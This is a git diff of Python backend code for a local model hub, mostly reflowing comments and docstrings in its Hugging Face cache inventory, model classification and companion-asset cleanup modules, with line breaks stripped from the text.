active_download_refs(else:ref_repo_id = metadata.repo_id if metadata is not None else ref.keyvariant = None- # Scoped jobs share one slot per repo, so publish the file list an adopting client needs; absent- # metadata reports null, which the client reads as unprovable.+ # Scoped jobs share one slot per repo, so publish the file list an adopting client needs; absent metadata reports null, which the client reads as unprovable.scoped_files = list(metadata.scoped_files) if metadata is not None else []downloads.append(ActiveDownload(diff --git a/studio/backend/hub/services/models/cache_inventory.py b/studio/backend/hub/services/models/cache_inventory.pyindex 342e56a98c9..69dd918788f 100644--- a/studio/backend/hub/services/models/cache_inventory.py+++ b/studio/backend/hub/services/models/cache_inventory.py@@ -41,9 +41,7 @@ from hub.services.models.common import (_runtime_for_format,)-# Imported at module scope so a broken import surfaces at startup instead of silently emptying the-# inventory: the scan loop swallows per-repo exceptions. Lives under utils, not utils.models, to-# avoid the eager model-config imports in utils/models/__init__.py.+# Imported at module scope so a broken import surfaces at startup instead of silently emptying the inventory: the scan loop swallows per-repo exceptions. Lives under utils, not utils.models, to avoid the eager model-config imports in utils/models/__init__.py.from utils.paths.path_utils import is_appledouble_metadatafrom utils.audio_tokens import detect_local_tts_audio_typefrom utils.hidden_models import (@@ -74,14 +72,12 @@ _cached_inventory_flights: dict[tuple[asyncio.AbstractEventLoop, tuple[str, int]], asyncio.Task[list[dict]]] = {}-# Retrying a superseded scan is only worth it while invalidations are occasional; past this the-# endpoint has to answer instead of restarting the walk forever.+# Retrying a superseded scan is only worth it while invalidations are occasional; past this the endpoint has to answer instead of restarting the walk forever._INVENTORY_SCAN_MAX_ATTEMPTS = 8# Last scan per inventory name that confirmed its epoch, served when the cap is hit._last_confirmed_inventory: dict[str, list[dict]] = {}-# Identity for a cached file with no HF blob: on Windows without Developer Mode hf moves the blob-# into snapshots/ and leaves blobs/ empty.+# Identity for a cached file with no HF blob: on Windows without Developer Mode hf moves the blob into snapshots/ and leaves blobs/ empty._LOCAL_SIZE_IDENTITY_PREFIX = "size:"@@ -185,8 +181,7 @@ def _repo_gguf_last_modified(repo_info) -> float:def _repo_has_mmproj(repo_info) -> bool:- # Only an actual GGUF projector makes a repo vision-capable; a non-GGUF sidecar- # (e.g. mmproj_config.json) does not, and the runtime's projector detection is GGUF-only.+ # Only an actual GGUF projector makes a repo vision-capable; a non-GGUF sidecar (e.g. mmproj_config.json) does not, and the runtime's projector detection is GGUF-only.return any(_is_gguf_filename(f.file_name) and _is_mmproj_filename(f.file_name)for revision in repo_info.revisions@@ -209,13 +204,8 @@ def _cached_repo_file_name(file_obj) -> str:def cached_repo_files(revision) -> list:- """``revision.files`` without the Finder metadata companions.-- Every classification below reads these by name, and a "._" companion carries the described- file's own name, so it answers each one the way the real file does.- """- # The "._" name is on the snapshot entry while the bytes are in the content-addressed blob, but the- # entry is a symlink to it, so one open reads both.+ """``revision.files`` without the Finder metadata companions. Every classification below reads these by name, and a "._" companion carries the described file's own name, so it answers each one the way the real file does."""+ # The "._" name is on the snapshot entry while the bytes are in the content-addressed blob, but the entry is a symlink to it, so one open reads both.return [ffor f in getattr(revision, "files", ()) or ()@@ -224,11 +214,7 @@ def cached_repo_files(revision) -> list:def _is_real_cache_blob(blob: Optional[Path], repo_dir: Optional[Path]) -> bool:- """True only for a real cache blob at ``<repo_dir>/blobs/<etag>``.-- A no-symlink ``snapshots/`` file (name is the filename, not an etag) or a- repo's own ``blobs/`` subdir is not the cache blob store.- """+ """True only for a real cache blob at ``<repo_dir>/blobs/<etag>``. A no-symlink ``snapshots/`` file (name is the filename, not an etag) or a repo's own ``blobs/`` subdir is not the cache blob store."""if blob is None or repo_dir is None:return Falsetry:@@ -238,35 +224,19 @@ def _is_real_cache_blob(blob: Optional[Path], repo_dir: Optional[Path]) -> bool:def _cached_blob_hash(blob_path, repo_path = None) -> Optional[str]:- """The cache blob hash (etag) for a cached file, or None when there is no blob.-- Only a real blob under the repo's ``blobs/`` dir has name == hash; a moved- no-symlink ``snapshots/`` file is "no blob", so the caller uses a size identity.- """+ """The cache blob hash (etag) for a cached file, or None when there is no blob. Only a real blob under the repo's ``blobs/`` dir has name == hash; a moved no-symlink ``snapshots/`` file is "no blob", so the caller uses a size identity."""path = Path(blob_path)repo_dir = Path(repo_path) if repo_path is not None else Nonereturn path.name if _is_real_cache_blob(path, repo_dir) else Nonedef local_size_identity(size: int) -> str:- """Identity for a cached file whose blob hash is unknowable: its size.-- Re-hashing multi-GB GGUFs on the inventory hot path is not viable, and a- ``size:`` token never collides with a hex hash.- """+ """Identity for a cached file whose blob hash is unknowable: its size. Re-hashing multi-GB GGUFs on the inventory hot path is not viable, and a ``size:`` token never collides with a hex hash."""return f"{_LOCAL_SIZE_IDENTITY_PREFIX}{int(size)}"def _repo_gguf_blob_map(repo_info, *, include_companions: bool = False) -> dict[str, set[str]]:- """Map each cached GGUF file's repo-relative name to the SET of its local- identities across all revisions.-- An identity is the file's blob hash, or a size identity when the cache holds no- blob (Windows without Developer Mode). BOTH old and new revision blobs are kept- (a set), so the diff treats the file as current when the remote ``main`` blob is- in any cached revision. Main GGUF only by default; update checks opt into- companions to compare a shared mmproj/MTP blob too.- """+ """Map each cached GGUF file's repo-relative name to the SET of its local identities across all revisions. An identity is the file's blob hash, or a size identity when the cache holds no blob (Windows without Developer Mode). BOTH old and new revision blobs are kept (a set), so the diff treats the file as current when the remote ``main`` blob is in any cached revision. Main GGUF only by default; update checks opt into companions to compare a shared mmproj/MTP blob too."""blob_map: dict[str, set[str]] = {}repo_path = getattr(repo_info, "repo_path", None)for revision in repo_info.revisions:@@ -305,11 +275,7 @@ def _prefer_cache_row(candidate: dict, existing: Optional[dict]) -> bool:class _LoadIdentity(NamedTuple):- """A row's load target and the directory it lands in.-- *load_snapshot* is not always ``Path(load_id)``: a *load_id* left as the repo id resolves- through ``refs/main``, so the row describes THAT snapshot.- """+ """A row's load target and the directory it lands in. *load_snapshot* is not always ``Path(load_id)``: a *load_id* left as the repo id resolves through ``refs/main``, so the row describes THAT snapshot."""load_id: stractive_cache: bool@@ -324,13 +290,7 @@ def _resolve_load_identity(active_hub_cache: Optional[Path] = None,payload_snapshots: Optional[frozenset[str]] = None,) -> _LoadIdentity:- """Single answer to "what will this row load, and from which directory".-- The partial flag, the metadata probe and the load id must agree on one directory, so resolve it- once here. *snapshot_path* becomes the load identity whenever the repo id will not resolve, so- pass a snapshot holding this row's payload, not merely the newest. *payload_snapshots* is every- snapshot that does; None means the caller does not track them, so *snapshot_path* is trusted.- """+ """Single answer to "what will this row load, and from which directory". The partial flag, the metadata probe and the load id must agree on one directory, so resolve it once here. *snapshot_path* becomes the load identity whenever the repo id will not resolve, so pass a snapshot holding this row's payload, not merely the newest. *payload_snapshots* is every snapshot that does; None means the caller does not track them, so *snapshot_path* is trusted."""load_id = repo_idactive_cache = Trueif repo_path is not None:@@ -346,7 +306,6 @@ def _resolve_load_identity(except (OSError, RuntimeError, ValueError):active_cache = Falseload_id = str(snapshot_path or repo_path)- # Only pin a snapshot known to hold the payload; the newest may be unusable.default_snapshot: Optional[Path] = Noneif (load_id == repo_id@@ -369,7 +328,6 @@ def _resolve_load_identity()):load_id = str(snapshot_path)- # Keeping the repo id lets refs/main decide, possibly an older payload snapshot.load_snapshot = (default_snapshot or snapshot_path) if load_id == repo_id else snapshot_pathreturn _LoadIdentity(load_id, active_cache, load_snapshot)@@ -392,12 +350,7 @@ def _cache_inventory_fields(stt_only: bool = False,tts_only: bool = False,) -> dict:- """Load identity plus the capability block for one cache row.-- The SOLE producer of a row's ``capabilities``: every flag is derived from the snapshot this row- describes, so add new flags here rather than patching them on afterwards. *identity* is accepted- already resolved so it cannot be resolved twice to different answers.- """+ """Load identity plus the capability block for one cache row. The SOLE producer of a row's ``capabilities``: every flag is derived from the snapshot this row describes, so add new flags here rather than patching them on afterwards. *identity* is accepted already resolved so it cannot be resolved twice to different answers."""if identity is None:identity = _resolve_load_identity(repo_id,@@ -406,8 +359,7 @@ def _cache_inventory_fields(active_hub_cache = active_hub_cache,payload_snapshots = payload_snapshots,)- # The directory this row loads from: the non-GGUF scan passes only identity, so snapshot_path alone- # classified nothing.+ # The directory this row loads from: the non-GGUF scan passes only identity, so snapshot_path alone classified nothing.classify_snapshot = identity.load_snapshot or snapshot_pathcan_chat_override = Noneif classify_snapshot is not None:@@ -423,29 +375,22 @@ def _cache_inventory_fields(# cached encoders classify their config; adapters classify the selected snapshot's exact base.can_chat_override = can_chat_override,).model_dump()- # The loader's companion search never leaves the quants' snapshot.if model_format == "gguf" and (hf_cache_scan.snapshot_has_gguf_projector(gguf_snapshot)if gguf_snapshot is not Noneelse repo_info is not None and _repo_has_mmproj(repo_info)):capabilities["supports_vision"] = True- # Qwen3-ASR's required mmproj is an audio projector, not a vision one, and stt_only covers any- # repo whose config sniffs as Whisper, curated or not: a third-party checkpoint or a user's own- # fine-tune is just as unchattable. can_chat is what auto-load and the chat picker filter on,- # neither of which looks at the task, so task-scoping alone would leave curated STT rows- # eligible for chat auto-load.+ # Qwen3-ASR's required mmproj is an audio projector, not a vision one, and stt_only covers any repo whose config sniffs as Whisper, curated or not: a third-party checkpoint or a user's own fine-tune is just as unchattable. can_chat is what auto-load and the chat picker filter on, neither of which looks at the task, so task-scoping alone would leave curated STT rows eligible for chat auto-load.if stt_only or is_curated_stt_repo_id(repo_id):capabilities["supports_vision"] = Falsecapabilities["can_chat"] = False- # The codec probe covers uncurated safetensors copies and native audio architectures are passed- # explicitly; a GGUF repo ships no tokenizer_config to probe, so the curated ids answer for those.+ # The codec probe covers uncurated safetensors copies and native audio architectures are passed explicitly; a GGUF repo ships no tokenizer_config to probe, so the curated ids answer for those.if tts_only or is_curated_tts_repo_id(repo_id):capabilities["can_chat"] = Falseif hidden_infra:capabilities["can_chat"] = False- # A VAE / text-encoder mirror holds no language model. Set HERE rather than left to the row's- # companion flag alone: startup auto-load filters on capabilities.can_chat, not on that flag.+ # A VAE / text-encoder mirror holds no language model. Set HERE rather than left to the row's companion flag alone: startup auto-load filters on capabilities.can_chat, not on that flag.if companion:capabilities["can_chat"] = Falsereturn {@@ -464,19 +409,12 @@ def invalidate_hf_cache_scans() -> None:def _is_hidden_infra_repo(*values: str | None) -> bool:- """True for infra-only repos (the RAG embedder and the llama.cpp install- validation probe) that are cached as a side effect of Unsloth itself and are- not usable chat models."""+ """True for infra-only repos (the RAG embedder and the llama.cpp install validation probe) that are cached as a side effect of Unsloth itself and are not usable chat models."""return is_hidden_model(*values)def _cached_row_companion(repo_id: str, snapshot: Optional[Path] = None) -> bool:- """Whether this row is infrastructure for another load, not a checkpoint.-- Same classifier the models API uses. The chat picker is backed by THIS endpoint, so a flag set- only on the legacy route arrives as undefined here and the filter never fires -- the same trap- ``single_file`` fell into below. Best-effort: a classification failure never hides a row.- """+ """Whether this row is infrastructure for another load, not a checkpoint. Same classifier the models API uses. The chat picker is backed by THIS endpoint, so a flag set only on the legacy route arrives as undefined here and the filter never fires, the same trap ``single_file`` fell into below. Best-effort: a classification failure never hides a row."""try:from core.inference.diffusion_families import sd_cpp_companion_only_repo_ids@@ -494,8 +432,7 @@ def _cached_row_companion(repo_id: str, snapshot: Optional[Path] = None) -> boolif normalized in native_companions:return True- # MOSS Local may name a different compatible tokenizer, so classify the codec architecture too or- # that dynamically resolved companion surfaces as a chat checkpoint.+ # MOSS Local may name a different compatible tokenizer, so classify the codec architecture too or that dynamically resolved companion surfaces as a chat checkpoint.config = _read_json_object(snapshot / "config.json") if snapshot is not None else {}model_type = str(config.get("model_type") or "").strip().lower()if model_type in {@@ -521,14 +458,9 @@ def _cached_row_task(gguf: bool,selected: Optional[Path] = None,) -> Optional[str]:- """Pipeline task for a cached row, from the same classifiers the models API uses.-- The Images/Video pickers filter On Device rows on this and the chat picker routes a diffusion- pick by it, so a row that arrives without one is dropped from those lists entirely.- """+ """Pipeline task for a cached row, from the same classifiers the models API uses. The Images/Video pickers filter On Device rows on this and the chat picker routes a diffusion pick by it, so a row that arrives without one is dropped from those lists entirely."""try:- # Module-qualified: rebinding these names re-points a load that resolved to routes.models before the- # move, which verify_import_hoist.py blocks.+ # Module-qualified: rebinding these names re-points a load that resolved to routes.models before the move, which verify_import_hoist.py blocks.from hub.services.models import catalog_classificationreturn (catalog_classification._repo_gguf_task(repo_info, selected)@@ -572,8 +504,7 @@ def _scan_cached_gguf(active_hub_cache = active_hub_cache,)except Exception as e:- # The index is built once for the whole scan and outside the per-repository try, so one undecodable- # cache directory name, hashed for the repo key, answered 500 with every valid row hidden.+ # The index is built once for the whole scan and outside the per-repository try, so one undecodable cache directory name, hashed for the repo key, answered 500 with every valid row hidden.logger.warning("Could not build shared cached-GGUF state index: %s", e)variant_states = None@@ -607,16 +538,14 @@ def _scan_cached_gguf(str(snapshot_path) if snapshot_path is not None else None,)is_curated_stt = is_curated_stt_repo_id(repo_id)- # Hide infra repos unless the user downloaded a variant: variant state only exists for user- # downloads, and curated STT repos are still emitted as management rows.+ # Hide infra repos unless the user downloaded a variant: variant state only exists for user downloads, and curated STT repos are still emitted as management rows.if is_hidden_infra and not is_curated_stt and not has_variant_state:continueif total_size == 0 and not has_variant_state:continue# Must run after the skips above and before the partial walk it scopes.gguf_snapshot, gguf_payload_snapshots = _repo_gguf_payload_snapshots(repo_info)- # Resolved before the row is classified: a load_id left as the repo id resolves through refs/main,- # which can name an older revision than the newest payload snapshot.+ # Resolved before the row is classified: a load_id left as the repo id resolves through refs/main, which can name an older revision than the newest payload snapshot.gguf_identity = _resolve_load_identity(repo_id,repo_path = repo_path,@@ -656,10 +585,8 @@ def _scan_cached_gguf("task": row_task,"audio_type": row_audio_type,"partial": partial,- # A marker-only sibling moves neither size nor mtime."has_variant_state": has_variant_state,- # GGUF row-level transport is ambiguous, since variants may differ; per-variant detail lives on- # GgufVariantDetail.+ # GGUF row-level transport is ambiguous, since variants may differ; per-variant detail lives on GgufVariantDetail."partial_transport": None,"partial_resumable": False,}@@ -676,12 +603,9 @@ def _scan_cached_gguf(partial = bool(row["partial"]),requires_variant = True,payload_snapshots = gguf_payload_snapshots,- # Same identity the task was classified on, so the two cannot disagree.identity = gguf_identity,- # Scopes the row's vision flag to one directory.gguf_snapshot = gguf_snapshot,repo_info = repo_info,- # Visible infra variants remain management-only.hidden_infra = is_hidden_infra,tts_only = row_task == "text-to-speech",)@@ -710,9 +634,7 @@ def _scan_cached_inventory_snapshot(scanner, expected_epoch: int) -> list[dict]:if hf_cache_scan.hf_cache_scans_epoch() != expected_epoch:raise _CacheSourceChangedrows = scanner(cache_scans = cache_scans, active_hub_cache = active_hub_cache)- # The walk itself takes seconds, so a delete or finished download landing during it supersedes these- # rows as surely as one landing before it: without this a repo deleted mid-scan is still listed in- # the response.+ # The walk itself takes seconds, so a delete or finished download landing during it supersedes these rows as surely as one landing before it: without this a repo deleted mid-scan is still listed in the response.if hf_cache_scan.hf_cache_scans_epoch() != expected_epoch:raise _CacheSourceChangedreturn rows@@ -733,8 +655,7 @@ async def _shared_cached_inventory_scan(name: str, scanner) -> _CachedInventoryScontinue_last_confirmed_inventory[name] = rowsreturn _CachedInventoryScan(rows, True)- # Invalidations are arriving faster than the walk completes, so answer with the last scan that- # confirmed rather than spin a full cache walk per epoch forever.+ # Invalidations are arriving faster than the walk completes, so answer with the last scan that confirmed rather than spin a full cache walk per epoch forever.logger.warning("Cached %s inventory kept racing cache invalidations; serving the last confirmed scan",name,@@ -780,11 +701,7 @@ _PAYLOAD_FLAGS = (def _newest_snapshot_dir(candidates) -> Optional[Path]:- """Newest of *candidates*, or None when there are none.-- Ordered by ``snapshot_selection_key``, shared with ``latest_snapshot_dir`` and- ``iter_hf_cache_snapshots`` so every consumer agrees; mtime alone left frozenset ties unbroken.- """+ """Newest of *candidates*, or None when there are none. Ordered by ``snapshot_selection_key``, shared with ``latest_snapshot_dir`` and ``iter_hf_cache_snapshots`` so every consumer agrees; mtime alone left frozenset ties unbroken."""paths = [Path(candidate) for candidate in candidates]if not paths:return None@@ -808,12 +725,7 @@ def _resolved_snapshot_ids(candidates) -> frozenset[str]:def _repo_gguf_payload_snapshots(repo_info) -> tuple[Optional[Path], frozenset[str]]:- """Snapshot dirs a GGUF load can actually use, plus the newest of them.-- Size sums quants over every revision but variant resolution reads only the ``load_id`` directory,- so they must agree or an advertised quant resolves to nothing. Prefer a snapshot holding a whole- quant (a mixed one counts; the lister trims to the completed subset), else any primary GGUF.- """+ """Snapshot dirs a GGUF load can actually use, plus the newest of them. Size sums quants over every revision but variant resolution reads only the ``load_id`` directory, so they must agree or an advertised quant resolves to nothing. Prefer a snapshot holding a whole quant (a mixed one counts; the lister trims to the completed subset), else any primary GGUF."""# Snapshot-relative: only the directory marks an ``MTP/`` drafter as a companion.with_gguf = [snapshot@@ -859,7 +771,6 @@ def _repo_non_gguf_model_payload(repo_info) -> _CachedNonGgufPayload:name = lower.replace("\\", "/").rsplit("/", 1)[-1]if _is_gguf_filename(lower):continue- # Configs are opened by exact name at the snapshot root: probed below, not here.if name in ("config.json", "adapter_config.json"):continueis_adapter = _is_adapter_weight_name(name)@@ -887,12 +798,9 @@ def _repo_non_gguf_model_payload(repo_info) -> _CachedNonGgufPayload:if snapshot is not None:for config_name, key in (("config.json", "has_config"),- # model_index.json plays for a diffusers pipeline the role config.json plays for transformers:- # without it no pure pipeline snapshot could classify, and every cached diffusion base was- # force-flagged partial and dropped from On Device.+ # model_index.json plays for a diffusers pipeline the role config.json plays for transformers: without it no pure pipeline snapshot could classify, and every cached diffusion base was force-flagged partial and dropped from On Device.("model_index.json", "has_config"),- # Modular Diffusers pipelines use this root manifest instead, and saved or custom modular snapshots- # may omit both.+ # Modular Diffusers pipelines use this root manifest instead, and saved or custom modular snapshots may omit both.("modular_model_index.json", "has_config"),("adapter_config.json", "has_adapter_config"),):@@ -911,8 +819,7 @@ def _repo_non_gguf_model_payload(repo_info) -> _CachedNonGgufPayload:)def _revisions_of(fmt: str) -> tuple[list, list]:- # Weights pool across revisions, so the pinned snapshot must classify alone; trusted=False because- # from_pretrained needs config.json in that one directory.+ # Weights pool across revisions, so the pinned snapshot must classify alone; trusted=False because from_pretrained needs config.json in that one directory.snapshots = [snapshotfor snapshot, flags in revision_flags@@ -924,9 +831,7 @@ def _repo_non_gguf_model_payload(repo_info) -> _CachedNonGgufPayload:payload_snapshots, complete = _revisions_of(model_format)if not complete:- # The repo-wide flags are OR-ed across revisions, so they can name a format whose every revision- # is torn while another format has a whole one: an interrupted safetensors attempt must not hide- # a complete checkpoint.+ # The repo-wide flags are OR-ed across revisions, so they can name a format whose every revision is torn while another format has a whole one: an interrupted safetensors attempt must not hide a complete checkpoint.for candidate in ("safetensors", "checkpoint", "adapter"):if candidate == model_format:continue@@ -1008,7 +913,6 @@ def _read_model_card_frontmatter(path: Path) -> dict:def _cached_model_local_metadata(repo_path: Path, snapshot: Optional[Path] = None) -> dict:- # Describe the directory the row hands out, not merely the newest.if snapshot is None:snapshot = _cached_model_snapshot_path(repo_path)if snapshot is None:@@ -1097,7 +1001,6 @@ def _scan_cached_models(continuekey = repo_id.lower()existing = seen_lower.get(key)- # Resolved once so the metadata probe, partial walk and load id agree.identity = _resolve_load_identity(repo_id,repo_path = repo_path,@@ -1106,7 +1009,6 @@ def _scan_cached_models(payload_snapshots = payload.payload_snapshots,)load_snapshot = identity.load_snapshot- # Reused when the row hands out the snapshot probed above: each call rereads two files.local_metadata = (snapshot_metadataif load_snapshot == snapshot_path@@ -1130,12 +1032,10 @@ def _scan_cached_models(else None),)- # A companion-only prefetch passes the download check yet cannot from_pretrained, so mark it- # partial.+ # A companion-only prefetch passes the download check yet cannot from_pretrained, so mark it partial.companion_only = hf_cache_scan.snapshot_pipeline_missing_denoiser(load_snapshot)snapshot_partial = download_partial or companion_only- # Flags are OR-ed over revisions, so no payload snapshot means no directory serves the row and it- # would reach for the Hub.+ # Flags are OR-ed over revisions, so no payload snapshot means no directory serves the row and it would reach for the Hub.if not payload.payload_snapshots:snapshot_partial = Truetry:@@ -1150,9 +1050,7 @@ def _scan_cached_models(if is_whisper_sttelse ("text-to-speech"- # The probe answers for a repo whose card says nothing, so the Audio page, which- # selects by task,- # still lists it.+ # The probe answers for a repo whose card says nothing, so the Audio page, which selects by task, still lists it.if is_output_audio or local_metadata.get("pipeline_tag") == "text-to-speech"else _cached_row_task(repo_info, gguf = False, selected = load_snapshot))@@ -1177,9 +1075,7 @@ def _scan_cached_models(repo_id,repo_cache_dir = repo_path,)- # Only a genuine download partial has a transport; a companion-only snapshot arrived- # intact and has- # no Resume story.+ # Only a genuine download partial has a transport; a companion-only snapshot arrived intact and has no Resume story.if download_partialelse None),@@ -1192,14 +1088,12 @@ def _scan_cached_models(if download_partialelse False),- # Diffusion repos with no pipeline index load only via from_single_file, so the task pickers must- # not offer them as pipeline loads.+ # Diffusion repos with no pipeline index load only via from_single_file, so the task pickers must not offer them as pipeline loads."single_file": bool(row_task is not Noneand not hf_cache_scan.snapshot_has_pipeline_index(load_snapshot)),- # Listed so tens of GB of companion weights stay visible and deletable, but flagged so no picker- # offers a denoiser-less repo as a load.+ # Listed so tens of GB of companion weights stay visible and deletable, but flagged so no picker offers a denoiser-less repo as a load."companion": _cached_row_companion(repo_id, load_snapshot),"diffusers": _cached_row_is_diffusers(repo_info, load_snapshot),**local_metadata,@@ -1222,8 +1116,7 @@ def _scan_cached_models(tts_only = is_output_audio,))- # Native backend selection reads the load identity itself, so a custom native fork addressed only by- # repo id is indistinguishable from an ordinary LLM.+ # Native backend selection reads the load identity itself, so a custom native fork addressed only by repo id is indistinguishable from an ordinary LLM.if native_audio_type and load_snapshot is not None:row["load_id"] = str(load_snapshot)if _prefer_cache_row(row, existing):diff --git a/studio/backend/hub/services/models/common.py b/studio/backend/hub/services/models/common.pyindex 726adacafaa..a52273cc60e 100644--- a/studio/backend/hub/services/models/common.py+++ b/studio/backend/hub/services/models/common.py@@ -34,8 +34,7 @@ LocalModelSource = Literal["models_dir", "hf_cache", "lmstudio", "ollama", "hermdef _safe_is_dir(path) -> bool:- # Py >= 3.12 propagates PermissionError (EACCES) from is_dir(), and folder scans probe root-owned- # system dirs, so treat un-stat-able paths as not-a-dir.+ # Py >= 3.12 propagates PermissionError (EACCES) from is_dir(), and folder scans probe root-owned system dirs, so treat un-stat-able paths as not-a-dir.try:return Path(path).is_dir()except OSError:@@ -249,8 +248,7 @@ _ENCODER_ONLY_MODEL_TYPES = frozenset("squeezebert","vision-text-dual-encoder","xlm-roberta",- # Vision and audio backbones: their bare *Model names carry no task suffix, so only the model type- # identifies them.+ # Vision and audio backbones: their bare *Model names carry no task suffix, so only the model type identifies them."beit","convnext","convnextv2",@@ -283,33 +281,24 @@ _MAX_LOCAL_JSON_BYTES = 1 << 20def _read_local_json_object(path: Path) -> dict:- """Config metadata, or ``{}``. Never raises: one unreadable file must not- fail the whole scan."""+ """Config metadata, or ``{}``. Never raises: one unreadable file must not fail the whole scan."""try:# is_file() also skips a FIFO, whose read would block the scan forever.if not path.is_file() or path.stat().st_size > _MAX_LOCAL_JSON_BYTES:return {}data = json.loads(path.read_text(encoding = "utf-8"))return data if isinstance(data, dict) else {}- # ValueError covers JSONDecodeError and UnicodeDecodeError; deeply nested JSON raises- # RecursionError, which is neither.+ # ValueError covers JSONDecodeError and UnicodeDecodeError; deeply nested JSON raises RecursionError, which is neither.except (ValueError, OSError, RecursionError):return {}def _local_transformers_can_chat(path: Path) -> Optional[bool]:- """False for a locally identifiable non-generative Transformers row.-- ``None`` means inconclusive and the format capability stands, so a custom- architecture is never hidden. Without this, an embedding export is- chat-capable on file format alone, and those are small enough that chat- auto-load spends its whole attempt budget on them.- """+ """False for a locally identifiable non-generative Transformers row. ``None`` means inconclusive and the format capability stands, so a custom architecture is never hidden. Without this, an embedding export is chat-capable on file format alone, and those are small enough that chat auto-load spends its whole attempt budget on them."""if not _safe_is_dir(path):return None- # Before every architecture test below: a TTS model is an ordinary causal LM wearing a codec- # vocabulary (Orpheus is LlamaForCausalLM), so the suffix rules answer True and auto-load picks it.+ # Before every architecture test below: a TTS model is an ordinary causal LM wearing a codec vocabulary (Orpheus is LlamaForCausalLM), so the suffix rules answer True and auto-load picks it.if detect_local_tts_audio_type(path) is not None:return False@@ -347,8 +336,7 @@ def _local_transformers_can_chat(path: Path) -> Optional[bool]:return Trueif names and all(name.endswith(_NON_GENERATIVE_ARCHITECTURE_SUFFIXES) for name in names):return False- # AutoModel.save_pretrained on a chat family writes the backbone name, which has no LM head. Listed- # explicitly, not shape-matched, so an unfamiliar FooModel still fails open.+ # AutoModel.save_pretrained on a chat family writes the backbone name, which has no LM head. Listed explicitly, not shape-matched, so an unfamiliar FooModel still fails open.if names and all(name in _BARE_TEXT_BACKBONE_ARCHITECTURES for name in names):return False@@ -386,16 +374,13 @@ def _base_transformers_can_chat(except (OSError, RuntimeError, ValueError):return None- # The scan covers legacy and previously configured roots, so an adapter can be listed from an- # inactive root with its base cached beside it; the active root alone answered None, which is- # inconclusive and left encoder LoRAs in the chat picker.+ # The scan covers legacy and previously configured roots, so an adapter can be listed from an inactive root with its base cached beside it; the active root alone answered None, which is inconclusive and left encoder LoRAs in the chat picker.try:from huggingface_hub import try_to_load_from_cacheexcept Exception:return None- # Each source collected independently: under one try, a failure enumerating the OPTIONAL extra roots- # discarded the adapter's own root too and answered None.+ # Each source collected independently: under one try, a failure enumerating the OPTIONAL extra roots discarded the adapter's own root too and answered None.roots: list[Path] = []def _add(root: Optional[Path]) -> None:@@ -428,8 +413,7 @@ def _base_transformers_can_chat()except Exception:continue- # A non-str is _CACHED_NO_EXIST ("we know it is absent here") or None ("unknown"), and neither rules the base- # out of a different root.+ # A non-str is _CACHED_NO_EXIST ("we know it is absent here") or None ("unknown"), and neither rules the base out of a different root.if isinstance(found, str):config_path = foundbreak@@ -544,8 +528,7 @@ def _apply_format_aware_partial(if not target:rewritten.append(row)continue- # GGUF row-level transport is ambiguous, since variants may differ; per-variant detail lives on- # GgufVariantDetail.partial_transport.+ # GGUF row-level transport is ambiguous, since variants may differ; per-variant detail lives on GgufVariantDetail.partial_transport.partial_transport = None if row.model_format == "gguf" else snapshot_partial_transportrewritten.append(row.model_copy(diff --git a/studio/backend/hub/services/models/companion_cleanup.py b/studio/backend/hub/services/models/companion_cleanup.pyindex 22540e2358f..5b80a2a1fbb 100644--- a/studio/backend/hub/services/models/companion_cleanup.py+++ b/studio/backend/hub/services/models/companion_cleanup.py@@ -3,15 +3,9 @@"""Delete preflight and orphaned-companion cleanup for image-model assets.-Three answers live here, all derived from the cache scan at call time (see-``hub.utils.companion_assets`` for why nothing is counted):+Three answers live here, all derived from the cache scan at call time (see ``hub.utils.companion_assets`` for why nothing is counted): :func:`delete_impact_response` (what a pending delete reclaims and what it leaves behind), :func:`companion_dependents` (who still needs a companion base, used as a delete guard) and :func:`orphan_companions_response` (companion bases no installed model needs any more).- :func:`delete_impact_response` what a pending delete reclaims, and what it leaves behind- :func:`companion_dependents` who still needs a companion base, used as a delete guard- :func:`orphan_companions_response` companion bases no installed model needs any more--Sizes are real on-disk blob bytes from the HF cache scan, deduped per blob, not Hub metadata:-the number in a delete dialog has to be the number the disk gives back.+Sizes are real on-disk blob bytes from the HF cache scan, deduped per blob, not Hub metadata: the number in a delete dialog has to be the number the disk gives back."""from __future__ import annotations@@ -35,10 +29,7 @@ logger = get_logger(__name__)def _repo_blob_bytes(repo_info, *, only = None) -> int:- """On-disk bytes of *repo_info*, deduped by blob so a file shared across revisions counts once.-- ``only`` is an optional predicate on the snapshot-relative file name.- """+ """On-disk bytes of *repo_info*, deduped by blob so a file shared across revisions counts once. ``only`` is an optional predicate on the snapshot-relative file name."""unique: dict[str, int] = {}for revision in getattr(repo_info, "revisions", ()) or ():rev_id = getattr(revision, "commit_hash", None) or str(id(revision))@@ -59,8 +50,7 @@ def _repo_blob_bytes(repo_info, *, only = None) -> int:return sum(unique.values())-# One definition, so the orphan listing and the delete preview cannot disagree about which cached-# repos are leftovers (see companion_assets.repo_holds_denoiser).+# One definition, so the orphan listing and the delete preview cannot disagree about which cached repos are leftovers (see companion_assets.repo_holds_denoiser)._repo_holds_denoiser = companion_assets.repo_holds_denoiser@@ -80,13 +70,7 @@ def _repos_by_id(cache_scans) -> dict[str, list]:def _variant_keys(repo_info, variant: str) -> set[str]:- """The variant keys *variant* names in *repo_info*, from the destructive path's own resolver.-- The inventory and the delete both identify a row by ``gguf_variant_key``, which for a- path-qualified checkpoint (``distilled/ltx-2.3-22b-distilled-Q6_K``) is not the bare quant- label. Comparing labels here made the preview miss the file entirely: 0 B reclaimed, and the- last checkpoint of a repo read as if a sibling survived, so its companions were described as- retained rather than freed."""+ """The variant keys *variant* names in *repo_info*, from the destructive path's own resolver. The inventory and the delete both identify a row by ``gguf_variant_key``, which for a path-qualified checkpoint (``distilled/ltx-2.3-22b-distilled-Q6_K``) is not the bare quant label. Comparing labels here made the preview miss the file entirely: 0 B reclaimed, and the last checkpoint of a repo read as if a sibling survived, so its companions were described as retained rather than freed."""from hub.services.models.deletion import _variant_keys_to_deletereturn {key.lower() for key in _variant_keys_to_delete(repo_info, variant)}@@ -115,8 +99,7 @@ def _remaining_main_gguf_variants(repo_info, *, excluding: Optional[str] = None)passif not _is_main_gguf_filename(name):continue- # The delete this previews ignores proven metadata, so counting it here would report a checkpoint as- # surviving that the deletion itself does not see.+ # The delete this previews ignores proven metadata, so counting it here would report a checkpoint as surviving that the deletion itself does not see.if path and is_appledouble_metadata(Path(path)):continuekey = gguf_variant_key(name).lower()@@ -131,10 +114,7 @@ def companion_dependents(*,ignore_repo_ids = (),) -> list[str]:- """Installed checkpoints that would still need *base_repo_id* after ignoring *ignore_repo_ids*.-- Sorted for a stable message. Empty means the base is safe 